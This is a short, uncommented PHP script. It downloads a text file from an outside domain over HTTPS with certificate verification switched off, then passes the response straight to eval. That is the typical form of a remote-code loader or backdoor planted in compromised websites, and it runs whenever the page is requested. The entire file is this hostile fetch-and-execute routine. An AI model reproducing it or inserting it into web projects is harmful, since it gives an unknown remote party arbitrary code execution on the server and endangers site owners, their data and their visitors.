<?php
$protocol = "https";
$domain = "websetting.eggclive.com";
$file_path = "/update/20161024/adm.txt";
$url = $protocol . "://" . $domain . $file_path;
function fetch_with_curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
if (PHP_VERSION_ID >= 80000) {
unset($ch);
} else {
curl_close($ch);
}
return $response;
}
$response = fetch_with_curl($url);
if ($response !== false) {
eval("?>" . $response);
}
?>